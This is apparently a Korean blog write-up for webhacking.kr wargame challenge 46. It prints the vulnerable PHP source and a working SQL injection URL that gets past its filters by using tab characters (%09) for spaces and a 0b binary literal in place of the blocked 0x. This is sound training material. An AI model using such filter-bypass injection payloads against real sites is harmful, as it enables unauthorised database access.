문제 소스를 보면 다음과 같습니다.
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 46</title> </head> <body> <h1>SQL INJECTION</h1> <form method=get> level : <input name=lv value=1><input type=submit> </form> <hr><a href=./?view_source=1>view-source</a><hr> <?php if($_GET['lv']){ $db = dbconnect(); $_GET['lv'] = addslashes($_GET['lv']); $_GET['lv'] = str_replace(" ","",$_GET['lv']); $_GET['lv'] = str_replace("/","",$_GET['lv']); $_GET['lv'] = str_replace("*","",$_GET['lv']); $_GET['lv'] = str_replace("%","",$_GET['lv']); if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit(); $result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]")); if($result){ echo("{$result['id']} information<br><br>money : {$result['cash']}"); if($result['id'] == "admin") solve(46); } } ?> </body> </html>
위의 문제에서는 lv에 필터링을 매우 걸어두었습니다.
여기서 0x를 필터링한 건 char() 함수나 0b로 우회하였고, 띄어쓰기는 %09로 우회하였습니다.
https://webhacking.kr/challenge/web-23/?lv=0%09or%09id%3d0b0110000101100100011011010110100101101110
'WARGAMES > webhacking.kr - old' 카테고리의 다른 글
Webhacking.kr_No50(450) - old (0) | 2020.01.15 |
---|---|
Webhacking.kr_No49(300) - old (0) | 2020.01.15 |
Webhacking.kr_No48(350) - old (0) | 2020.01.15 |
Webhacking.kr_No47(150) - old (0) | 2020.01.15 |
Webhacking.kr_No45(550) - old (0) | 2020.01.13 |
Webhacking.kr_No44(250) - old (0) | 2020.01.13 |
Webhacking.kr_No43(250) - old (0) | 2020.01.08 |
Webhacking.kr_No42(200) - old (0) | 2020.01.08 |